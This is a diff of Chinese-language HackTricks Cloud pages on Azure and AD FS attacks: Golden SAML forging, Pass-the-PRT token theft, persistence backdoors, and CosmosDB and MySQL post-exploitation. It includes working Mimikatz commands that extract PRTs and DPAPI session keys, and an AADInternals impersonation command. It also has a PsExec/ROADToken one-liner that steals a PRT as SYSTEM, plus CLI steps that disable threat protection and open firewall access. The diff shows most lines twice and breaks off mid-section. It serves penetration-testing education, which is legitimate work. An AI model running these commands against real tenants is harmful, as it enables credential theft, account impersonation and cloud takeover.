[活动目录联邦服务 (AD FS)](<https://docs.microsoft.com/en-us/previous-versions/windows/server-2008/bb897402(v=msdn.10)>) 是一项 Microsoft 服务,促进受信任商业伙伴之间的**身份信息安全交换**(联邦)。它基本上允许域服务与联邦内的其他服务提供者共享用户身份。
|
||||
[活动目录联邦服务 (AD FS)](<https://docs.microsoft.com/en-us/previous-versions/windows/server-2008/bb897402(v=msdn.10)>) 是一项 Microsoft 服务,促进受信任的商业伙伴之间的**身份信息安全交换**(联邦)。它本质上允许域服务与联邦内的其他服务提供者共享用户身份。
|
||||
|
||||
由于 AWS 信任被攻陷的域(在联邦中),可以利用此漏洞潜在地**获取 AWS 环境中的任何权限**。该攻击需要**用于签署 SAML 对象的私钥**,类似于在黄金票证攻击中需要 KRBTGT。访问 AD FS 用户帐户足以获取此私钥。
|
||||
由于 AWS 信任被泄露的域(在联邦中),可以利用此漏洞潜在地**获取 AWS 环境中的任何权限**。该攻击需要**用于签署 SAML 对象的私钥**,类似于在黄金票证攻击中需要 KRBTGT。访问 AD FS 用户帐户足以获取此私钥。
|
||||
|
||||
执行黄金 SAML 攻击的要求包括:
|
||||
|
||||
- **令牌签名私钥**
|
||||
- **IdP 公共证书**
|
||||
- **IdP 名称**
|
||||
- **角色名称(要承担的角色)**
|
||||
- **角色名称(要假设的角色)**
|
||||
- 域\用户名
|
||||
- AWS 中的角色会话名称
|
||||
- 亚马逊账户 ID
|
||||
|
||||
_只有加粗的项目是强制性的。其他项目可以根据需要填写。_
|
||||
|
||||
要获取**私钥**,需要访问**AD FS 用户帐户**。从那里,可以使用 [mimikatz](https://github.com/gentilkiwi/mimikatz) 等工具**从个人存储中导出私钥**。要收集其他所需信息,可以使用 Microsoft.Adfs.Powershell snapin,如下所示,确保您以 ADFS 用户身份登录:
|
||||
要获取**私钥**,需要访问**AD FS 用户帐户**。从那里,可以使用 [mimikatz](https://github.com/gentilkiwi/mimikatz) 等工具从个人存储中**导出私钥**。要收集其他所需信息,可以使用 Microsoft.Adfs.Powershell snapin,如下所示,确保您以 ADFS 用户身份登录:
|
||||
```powershell
|
||||
# From an "AD FS" session
|
||||
# After having exported the key with mimikatz
|
||||
@@ -145,7 +145,7 @@ Export-AADIntADFSSigningCertificate
|
||||
# Impersonate the user
|
||||
Open-AADIntOffice365Portal -ImmutableID "aodilmsic30fugCUgHxsnK==" -Issuer http://deffin.com/adfs/services/trust -PfxFileName C:\users\adfsadmin\Desktop\ADFSSigningCertificate.pfx -Verbose
|
||||
```
|
||||
## 参考文献
|
||||
## 参考
|
||||
|
||||
- [https://learn.microsoft.com/en-us/azure/active-directory/hybrid/whatis-fed](https://learn.microsoft.com/en-us/azure/active-directory/hybrid/whatis-fed)
|
||||
- [https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps](https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps)
|
||||
|
||||
@@ -22,7 +22,7 @@ Dsregcmd.exe /status
|
||||
|
||||
## PRT Cookie
|
||||
|
||||
PRT cookie实际上被称为**`x-ms-RefreshTokenCredential`**,它是一个JSON Web Token (JWT)。JWT包含**3个部分**,即**头部**、**有效载荷**和**签名**,由`.`分隔,并且全部是url安全的base64编码。一个典型的PRT cookie包含以下头部和主体:
|
||||
PRT cookie实际上被称为**`x-ms-RefreshTokenCredential`**,它是一个JSON Web Token (JWT)。JWT包含**3个部分**,**头部**、**有效载荷**和**签名**,由`.`分隔,并且都是url安全的base64编码。一个典型的PRT cookie包含以下头部和主体:
|
||||
```json
|
||||
{
|
||||
"alg": "HS256",
|
||||
@@ -38,9 +38,9 @@ PRT cookie实际上被称为**`x-ms-RefreshTokenCredential`**,它是一个JSON
|
||||
|
||||
### 使用 TPM 的 PRT Cookie 流
|
||||
|
||||
**LSASS** 进程将 **KDF context** 发送到 TPM,TPM 将使用 **session key**(在设备注册到 AzureAD 时收集并存储在 TPM 中)和先前的上下文来 **派生** 一个 **key,** 该 **派生密钥** 用于 **签名 PRT cookie (JWT)。**
|
||||
**LSASS** 进程将 **KDF context** 发送到 TPM,TPM 将使用 **session key**(在设备注册到 AzureAD 时收集并存储在 TPM 中)和先前的上下文来 **派生** 一个 **key**,这个 **派生的密钥** 用于 **签名 PRT cookie (JWT)**。
|
||||
|
||||
**KDF context** 是来自 AzureAD 的随机数和 PRT 创建的 **JWT** 与 **上下文**(随机字节)混合。
|
||||
**KDF context** 是来自 AzureAD 的随机数和 PRT 创建的 **JWT** 混合的 **上下文**(随机字节)。
|
||||
|
||||
因此,即使 PRT 不能被提取,因为它位于 TPM 内部,但可以滥用 LSASS 来 **请求来自新上下文的派生密钥并使用生成的密钥来签名 Cookies**。
|
||||
|
||||
@@ -51,15 +51,15 @@ PRT cookie实际上被称为**`x-ms-RefreshTokenCredential`**,它是一个JSON
|
||||
作为 **普通用户**,可以通过请求 LSASS 获取 SSO 数据来 **请求 PRT 使用**。\
|
||||
这可以像 **本地应用程序** 一样完成,这些应用程序从 **Web Account Manager**(令牌代理)请求令牌。WAM 将请求传递给 **LSASS**,后者使用签名的 PRT 断言请求令牌。或者可以通过 **基于浏览器的 (web) 流** 来完成,其中 **PRT cookie** 用作 **header** 来验证对 Azure AS 登录页面的请求。
|
||||
|
||||
作为 **SYSTEM**,如果没有 TPM 保护,可以 **窃取 PRT** 或 **使用加密 API 与 LSASS 中的 PRT 密钥交互**。
|
||||
作为 **SYSTEM**,如果没有受到 TPM 保护,可以 **窃取 PRT** 或 **使用加密 API 与 LSASS 中的 PRT 密钥交互**。
|
||||
|
||||
## Pass-the-PRT 攻击示例
|
||||
|
||||
### 攻击 - ROADtoken
|
||||
|
||||
有关此方法的更多信息 [**请查看此帖子**](https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/)。ROADtoken 将从正确的目录运行 **`BrowserCore.exe`** 并使用它来 **获取 PRT cookie**。然后可以使用此 cookie 与 ROADtools 进行身份验证并 **获取持久刷新令牌**。
|
||||
有关此方法的更多信息 [**请查看此帖子**](https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/)。ROADtoken 将从正确的目录运行 **`BrowserCore.exe`** 并使用它来 **获取 PRT cookie**。然后可以使用此 cookie 与 ROADtools 进行身份验证并 **获取持久的刷新令牌**。
|
||||
|
||||
要生成有效的 PRT cookie,您需要的第一件事是随机数。\
|
||||
要生成有效的 PRT cookie,您需要的第一件事是一个随机数。\
|
||||
您可以通过以下方式获取:
|
||||
```powershell
|
||||
$TenantId = "19a03645-a17b-129e-a8eb-109ea7644bed"
|
||||
@@ -84,11 +84,11 @@ roadrecon auth prt-init
|
||||
```powershell
|
||||
.\ROADtoken.exe <nonce>
|
||||
```
|
||||
作为单行命令:
|
||||
作为单行:
|
||||
```powershell
|
||||
Invoke-Command - Session $ps_sess -ScriptBlock{C:\Users\Public\PsExec64.exe - accepteula -s "cmd.exe" " /c C:\Users\Public\SessionExecCommand.exe UserToImpersonate C:\Users\Public\ROADToken.exe AwABAAAAAAACAOz_BAD0__kdshsy61GF75SGhs_[...] > C:\Users\Public\PRT.txt"}
|
||||
```
|
||||
然后您可以使用**生成的cookie**来**生成令牌**以使用Azure AD **Graph**或Microsoft Graph进行**登录**:
|
||||
然后您可以使用**生成的 cookie**来**生成令牌**以使用 Azure AD **Graph** 或 Microsoft Graph **登录**:
|
||||
```powershell
|
||||
# Generate
|
||||
roadrecon auth --prt-cookie <prt_cookie>
|
||||
@@ -153,17 +153,17 @@ HttpOnly: Set to True (checked)
|
||||
#### 步骤
|
||||
|
||||
1. **PRT(主刷新令牌)从 LSASS(本地安全授权子系统服务)中提取**并存储以供后续使用。
|
||||
2. **接下来提取会话密钥**。由于该密钥最初由本地设备发出,然后重新加密,因此需要使用 DPAPI 主密钥进行解密。有关 DPAPI(数据保护 API)的详细信息,请参阅这些资源:[HackTricks](https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords),要了解其应用,请参考 [Pass-the-cookie attack](az-pass-the-cookie.md)。
|
||||
2. **接下来提取会话密钥**。鉴于此密钥最初由本地设备发出,然后重新加密,因此需要使用 DPAPI 主密钥进行解密。有关 DPAPI(数据保护 API)的详细信息,请参阅这些资源:[HackTricks](https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords.html),有关其应用的理解,请参阅 [Pass-the-cookie attack](az-pass-the-cookie.md)。
|
||||
3. 在解密会话密钥后,**获得 PRT 的派生密钥和上下文**。这些对于**创建 PRT cookie**至关重要。具体而言,派生密钥用于签署构成 cookie 的 JWT(JSON Web Token)。Dirk-jan 提供了对此过程的全面解释,可以在 [这里](https://dirkjanm.io/digging-further-into-the-primary-refresh-token/) 访问。
|
||||
|
||||
> [!CAUTION]
|
||||
> 请注意,如果 PRT 在 TPM 中而不在 `lsass` 中,**mimikatz 将无法提取它**。\
|
||||
> 但是,可以从 TPM 中的上下文派生密钥获取密钥,并使用它来**签署 cookie(检查选项 3)**。
|
||||
> 但是,可以从 TPM 中的上下文派生密钥获取密钥,并使用它来**签署 cookie(检查选项 3)。**
|
||||
|
||||
您可以在这里找到**提取这些详细信息的深入解释**:[**https://dirkjanm.io/digging-further-into-the-primary-refresh-token/**](https://dirkjanm.io/digging-further-into-the-primary-refresh-token/)
|
||||
|
||||
> [!WARNING]
|
||||
> 在 2021 年 8 月的修复后,这将无法准确工作以获取其他用户的 PRT 令牌,因为只有用户可以获取他的 PRT(本地管理员无法访问其他用户的 PRT),但可以访问他的。
|
||||
> 在 2021 年 8 月的修复后,这将无法准确地获取其他用户的 PRT 令牌,因为只有用户可以获取他的 PRT(本地管理员无法访问其他用户的 PRT),但可以访问他的。
|
||||
|
||||
您可以使用 **mimikatz** 提取 PRT:
|
||||
```powershell
|
||||
@@ -180,14 +180,14 @@ Invoke-Mimikatz -Command '"privilege::debug" "sekurlsa::cloudap"'
|
||||
<figure><img src="../../../images/image (251).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**复制**标记为**Prt**的部分并保存。\
|
||||
还要提取会话密钥(**`ProofOfPossesionKey`**字段的**`KeyValue`**),如下所示。这是加密的,我们需要使用我们的DPAPI主密钥来解密它。
|
||||
还要提取会话密钥(**`ProofOfPossesionKey`**字段的**`KeyValue`**),您可以在下面看到高亮显示的部分。这个是加密的,我们需要使用我们的DPAPI主密钥来解密它。
|
||||
|
||||
<figure><img src="../../../images/image (182).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
> [!NOTE]
|
||||
> 如果您没有看到任何PRT数据,可能是因为您**没有任何PRT**,因为您的设备没有加入Azure AD,或者您可能在**运行旧版本**的Windows 10。
|
||||
|
||||
要**解密**会话密钥,您需要**提升**您的权限到**SYSTEM**,以在计算机上下文中运行,以便能够使用**DPAPI主密钥进行解密**。您可以使用以下命令来实现:
|
||||
要**解密**会话密钥,您需要**提升**您的权限到**SYSTEM**,以在计算机上下文中运行,以便能够使用**DPAPI主密钥进行解密**。您可以使用以下命令来做到这一点:
|
||||
```
|
||||
token::elevate
|
||||
dpapi::cloudapkd /keyvalue:[PASTE ProofOfPosessionKey HERE] /unprotect
|
||||
@@ -241,7 +241,7 @@ roadtx describe < .roadtools_auth
|
||||
```bash
|
||||
roadrecon auth --prt-cookie <cookie> --prt-context <context> --derives-key <derived key>
|
||||
```
|
||||
## 参考文献
|
||||
## 参考
|
||||
|
||||
- [https://stealthbits.com/blog/lateral-movement-to-the-cloud-pass-the-prt/](https://stealthbits.com/blog/lateral-movement-to-the-cloud-pass-the-prt/)
|
||||
- [https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/](https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/)
|
||||
|
||||
@@ -12,14 +12,14 @@
|
||||
|
||||
### 后门 VM 应用程序、VM 扩展和镜像 <a href="#backdoor-instances" id="backdoor-instances"></a>
|
||||
|
||||
攻击者识别出在 Azure 账户中频繁使用的应用程序、扩展或镜像,他可以在 VM 应用程序和扩展中插入他的代码,以便每次安装时都执行后门。
|
||||
攻击者识别出在 Azure 账户中频繁使用的应用程序、扩展或镜像,他可以在 VM 应用程序和扩展中插入他的代码,以便每次安装时都会执行后门。
|
||||
|
||||
### 后门实例 <a href="#backdoor-instances" id="backdoor-instances"></a>
|
||||
|
||||
攻击者可以访问实例并对其进行后门处理:
|
||||
|
||||
- 使用传统的 **rootkit** 例如
|
||||
- 添加新的 **公共 SSH 密钥** (查看 [EC2 privesc options](https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc))
|
||||
- 添加新的 **公共 SSH 密钥** (查看 [EC2 privesc options](https://cloud.hacktricks.wiki/en/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc.html))
|
||||
- 对 **用户数据** 进行后门处理
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -0,0 +1,243 @@
|
||||
# Az - CosmosDB 后期利用
|
||||
|
||||
{% hint style="success" %}
|
||||
学习和实践 AWS 黑客技术:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
|
||||
学习和实践 GCP 黑客技术:<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## CosmosDB 后期利用
|
||||
有关 SQL 数据库的更多信息,请查看:
|
||||
|
||||
{% content-ref url="../az-services/az-cosmosDB.md" %}
|
||||
[az-cosmosDB.md](../az-services/az-cosmosDB.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
|
||||
### "Microsoft.DocumentDB/databaseAccounts/read" && "Microsoft.DocumentDB/databaseAccounts/write"
|
||||
拥有此权限,您可以创建或更新 Azure Cosmos DB 账户。这包括修改账户级设置、添加或删除区域、改变一致性级别,以及启用或禁用多区域写入等功能。
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
az cosmosdb update \
|
||||
--name <account_name> \
|
||||
--resource-group <resource_group_name> \
|
||||
--public-network-access ENABLED
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
### "Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/read" && "Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/write"
|
||||
拥有此权限,您可以在 Azure Cosmos DB 帐户的 SQL 数据库中创建或修改容器(集合)。容器用于存储数据,对它们的更改可能会影响数据库的结构和访问模式。
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
# Create
|
||||
az cosmosdb sql container create \
|
||||
--account-name <account_name> \
|
||||
--resource-group <resource_group_name> \
|
||||
--database-name <database_name> \
|
||||
--name <container_name> \
|
||||
--partition-key-path <partition_key_path>
|
||||
|
||||
#Update
|
||||
az cosmosdb sql container update \
|
||||
--account-name <account_name> \
|
||||
--resource-group <resource_group_name> \
|
||||
--database-name <database_name> \
|
||||
--name <container_name> \
|
||||
--ttl 3600
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
### "Microsoft.DocumentDB/databaseAccounts/sqlDatabases/write" && "Microsoft.DocumentDB/databaseAccounts/sqlDatabases/read"
|
||||
拥有此权限,您可以在 Azure Cosmos DB 帐户中创建或修改 SQL 数据库。这允许管理数据库结构并向帐户添加新数据库。虽然此权限允许创建数据库,但不当或未经授权的使用可能导致不必要的资源消耗、成本增加或操作效率低下。
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
az cosmosdb sql database create \
|
||||
--account-name <account_name> \
|
||||
--resource-group <resource_group_name> \
|
||||
--name <database_name>
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
### "Microsoft.DocumentDB/databaseAccounts/failoverPriorityChange/action"
|
||||
|
||||
通过此权限,您可以更改 Azure Cosmos DB 数据库帐户的区域故障转移优先级。此操作确定在故障转移事件中,区域成为主区域的顺序。错误使用此权限可能会干扰数据库的高可用性或导致意外的操作影响。
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
az cosmosdb failover-priority-change \
|
||||
--name <database_account_name> \
|
||||
--resource-group <resource_group_name> \
|
||||
--failover-policies <region1=priority1> <region2=priority2>
|
||||
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
### "Microsoft.DocumentDB/databaseAccounts/regenerateKey/action"
|
||||
通过此权限,您可以为 Azure Cosmos DB 帐户重新生成主密钥或辅助密钥。这通常用于通过替换旧密钥来增强安全性,但可能会干扰依赖当前密钥的服务或应用程序的访问。
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
az cosmosdb keys regenerate \
|
||||
--name <account_name> \
|
||||
--resource-group <resource_group_name> \
|
||||
--key-kind <primary|secondary>
|
||||
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
### "Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/userDefinedFunctions/write" && "Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/userDefinedFunctions/read"
|
||||
|
||||
通过此权限,您可以在 Azure Cosmos DB 帐户的 SQL 数据库容器中创建或修改触发器。触发器允许您在响应操作时执行服务器端逻辑。
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
az cosmosdb sql trigger create \
|
||||
--account-name <account_name> \
|
||||
--resource-group <resource_group_name> \
|
||||
--database-name <sql_database_name> \
|
||||
--container-name <container_name> \
|
||||
--name <trigger_name> \
|
||||
--body 'function trigger() { var context = getContext(); var request = context.getRequest(); request.setBody("Triggered operation!"); }' \
|
||||
--type Pre \
|
||||
--operation All
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
### "Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/storedProcedures/write" && "Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/storedProcedures/read"
|
||||
通过此权限,您可以在 Azure Cosmos DB 帐户的 SQL 数据库容器中创建或修改存储过程。Cosmos DB 中的存储过程是服务器端的 JavaScript 函数,允许您封装处理数据或直接在数据库中执行操作的逻辑。
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
az cosmosdb sql stored-procedure create \
|
||||
--account-name <account_name> \
|
||||
--resource-group <resource_group_name> \
|
||||
--database-name <sql_database_name> \
|
||||
--container-name <container_name> \
|
||||
--name <stored_procedure_name> \
|
||||
--body 'function sample() { return "Hello, Cosmos!"; }'
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
### "Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/triggers/write" && "Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/triggers/read"
|
||||
通过此权限,您可以在 Azure Cosmos DB 帐户的 SQL 数据库容器中创建或修改触发器。触发器允许您在插入、更新或删除等操作发生时执行服务器端逻辑。
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
az cosmosdb sql trigger create \
|
||||
--account-name <account_name> \
|
||||
--resource-group <resource_group_name> \
|
||||
--database-name <sql_database_name> \
|
||||
--container-name <container_name> \
|
||||
--name <trigger_name> \
|
||||
--body 'function trigger() { var context = getContext(); var request = context.getRequest(); request.setBody("Triggered operation!"); }' \
|
||||
--type Pre \
|
||||
--operation All
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
### "Microsoft.DocumentDB/databaseAccounts/mongodbDatabases/collections/read" && "Microsoft.DocumentDB/databaseAccounts/mongodbDatabases/collections/write"
|
||||
拥有此权限,您可以在 Azure Cosmos DB 帐户中的 MongoDB 数据库内创建或修改集合。集合用于存储文档并定义数据的结构和分区。
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
az cosmosdb mongodb collection create \
|
||||
--account-name <account_name> \
|
||||
--resource-group <resource_group_name> \
|
||||
--database-name <mongodb_database_name> \
|
||||
--name <collection_name>
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
### "Microsoft.DocumentDB/databaseAccounts/mongodbDatabases/write" && "Microsoft.DocumentDB/databaseAccounts/mongodbDatabases/read"
|
||||
拥有此权限,您可以在 Azure Cosmos DB 帐户中创建新的 MongoDB 数据库。这允许为存储和管理集合及文档而配置新的数据库。
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
az cosmosdb mongodb database create \
|
||||
--account-name <account_name> \
|
||||
--resource-group <resource_group_name> \
|
||||
--name <database_name>
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
### "Microsoft.DocumentDB/databaseAccounts/mongodbRoleDefinitions/write" && "Microsoft.DocumentDB/databaseAccounts/mongodbRoleDefinitions/read"
|
||||
拥有此权限,您可以在 Azure Cosmos DB 帐户中创建新的 MongoDB 角色定义。这允许为 MongoDB 用户定义具有特定权限的自定义角色。
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
az cosmosdb mongodb role definition create \
|
||||
--account-name <account_name> \
|
||||
--resource-group <resource_group_name> \
|
||||
--body '{
|
||||
"Id": "<mydatabase>.readWriteRole",
|
||||
"RoleName": "readWriteRole",
|
||||
"Type": "CustomRole",
|
||||
"DatabaseName": "<mydatabase>",
|
||||
"Privileges": [
|
||||
{
|
||||
"Resource": {
|
||||
"Db": "<mydatabase>",
|
||||
"Collection": "mycollection"
|
||||
},
|
||||
"Actions": [
|
||||
"insert",
|
||||
"find",
|
||||
"update"
|
||||
]
|
||||
}
|
||||
],
|
||||
"Roles": []
|
||||
}'
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
### "Microsoft.DocumentDB/databaseAccounts/mongodbUserDefinitions/write" && "Microsoft.DocumentDB/databaseAccounts/mongodbUserDefinitions/read"
|
||||
拥有此权限,您可以在 Azure Cosmos DB 帐户中创建新的 MongoDB 用户定义。这允许为 MongoDB 数据库提供具有特定角色和访问级别的用户。
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
az cosmosdb mongodb user definition create \
|
||||
--account-name <account_name> \
|
||||
--resource-group <resource_group_name> \
|
||||
--body '{
|
||||
"Id": "<mydatabase>.myUser",
|
||||
"UserName": "myUser",
|
||||
"Password": "mySecurePassword",
|
||||
"DatabaseName": "<mydatabase>",
|
||||
"CustomData": "TestCustomData",
|
||||
"Mechanisms": "SCRAM-SHA-256",
|
||||
"Roles": [
|
||||
{
|
||||
"Role": "readWriteRole",
|
||||
"Db": "<mydatabase>"
|
||||
}
|
||||
]
|
||||
}'
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
{% hint style="success" %}
|
||||
学习和实践 AWS 黑客技术:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
|
||||
学习和实践 GCP 黑客技术:<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
@@ -0,0 +1,167 @@
|
||||
# Az - MySQL 后期利用
|
||||
|
||||
{% hint style="success" %}
|
||||
学习与实践 AWS 黑客技术:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
|
||||
学习与实践 GCP 黑客技术:<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## MySQL 数据库后期利用
|
||||
有关 MySQL 数据库的更多信息,请查看:
|
||||
|
||||
{% content-ref url="../az-services/az-mysql.md" %}
|
||||
[az-mysql.md](../az-services/az-mysql.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### "Microsoft.DBforMySQL/flexibleServers/databases/write" && "Microsoft.DBforMySQL/flexibleServers/databases/read"
|
||||
|
||||
拥有此权限后,您可以在 Azure 的 MySQL Flexible Server 实例中创建新数据库。虽然此操作本身不会修改现有资源,但过度或未经授权的数据库创建可能导致资源消耗或服务器的潜在滥用。
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
az mysql flexible-server db create \
|
||||
--server-name <server_name> \
|
||||
--resource-group <resource_group_name> \
|
||||
--database-name <database_name>
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
### "Microsoft.DBforMySQL/flexibleServers/backups/write"
|
||||
|
||||
通过此权限,您可以在 Azure 上为 MySQL Flexible Server 实例启动备份的创建。这使用户能够生成按需备份,这对于在特定时间点保留数据非常有用。
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
az mysql flexible-server backup create \
|
||||
--name <server_name> \
|
||||
--resource-group <resource_group_name>
|
||||
--backup-name <backup_name>
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
### "Microsoft.DBforMySQL/flexibleServers/advancedThreatProtectionSettings/write"
|
||||
|
||||
通过此权限,您可以配置或更新 Azure 上 MySQL Flexible Server 实例的高级威胁保护 (ATP) 设置。这允许启用或禁用旨在检测和响应异常活动及潜在威胁的安全功能。
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
az mysql flexible-server threat-protection-policy update \
|
||||
--name <server_name> \
|
||||
--resource-group <resource_group_name> \
|
||||
--state <Enabled|Disabled>
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
### "Microsoft.DBforMySQL/flexibleServers/firewallRules/write"
|
||||
|
||||
通过此权限,您可以为 Azure 上的 MySQL Flexible Server 实例创建或修改防火墙规则。这允许控制哪些 IP 地址或范围可以访问服务器。未经授权或不当使用此权限可能会使服务器暴露于不必要或恶意的访问。
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
# Create Rule
|
||||
az mysql flexible-server firewall-rule create \
|
||||
--name <server_name> \
|
||||
--resource-group <resource_group_name> \
|
||||
--rule-name <rule_name> \
|
||||
--start-ip-address <start_ip> \
|
||||
--end-ip-address <end_ip>
|
||||
|
||||
# Update Rule
|
||||
az mysql flexible-server firewall-rule update \
|
||||
--name <server_name> \
|
||||
--resource-group <resource_group_name> \
|
||||
--rule-name <rule_name> \
|
||||
--start-ip-address <start_ip> \
|
||||
--end-ip-address <end_ip>
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
### "Microsoft.DBforMySQL/flexibleServers/resetGtid/action"
|
||||
|
||||
拥有此权限,您可以重置 Azure 上 MySQL Flexible Server 实例的 GTID(全局事务标识符)。重置 GTID 将使所有在重置操作之前进行的自动、按需备份和地理备份失效。重置 GTID 后,如果所选恢复时间在 GTID 重置时间之前,您将无法使用最快恢复点或自定义恢复点执行 PITR(时间点恢复)。成功的地理恢复仅在 5 天后才可能进行。
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
az mysql flexible-server reset-gtid \
|
||||
--name \
|
||||
--resource-group <resource_group_name> \
|
||||
--gtid-set <gtid>
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
### "Microsoft.DBforMySQL/flexibleServers/updateConfigurations/action"
|
||||
|
||||
